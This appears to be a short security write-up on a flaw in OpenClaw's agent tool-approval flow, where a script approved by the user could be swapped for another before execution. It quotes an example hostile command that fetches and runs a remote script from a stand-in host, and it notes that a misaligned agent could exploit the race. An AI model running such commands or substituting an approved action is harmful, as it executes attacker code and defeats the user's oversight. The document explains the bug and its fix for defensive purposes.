In OpenClaw versions before 2026.3.8, script operands were not bound at approval time — the user approved one script but the execution phase re-read the (now-mutated) operands, allowing silent substitution of an entirely different command.
OpenClaw's tool-approval flow presented a script to the user, awaited approval, then re-read the script from a shared object at execution time. The shared object was mutable by any concurrent agent turn. An attacker (or a misaligned agent) could therefore present script A for approval, wait for the user to click approve, and then mutate the object to script B before execution. The user saw and approved 'ls ~/Documents' but the runtime executed 'curl evil.com/x.sh | sh'. The fix was to freeze the operands at approval time and execute against the frozen copy.
The Actual Culprit
The approval UI and the executor both held references to the same mutable script object. Approval was a flag, not a commitment to a specific value.
When a user approves an action, the runtime must capture what they saw. Anything else is a time-of-check-to-time-of-use race waiting to happen.
Every time a value crosses an async boundary — UI to executor, network to handler — treat it as hostile until frozen.
Loading comments...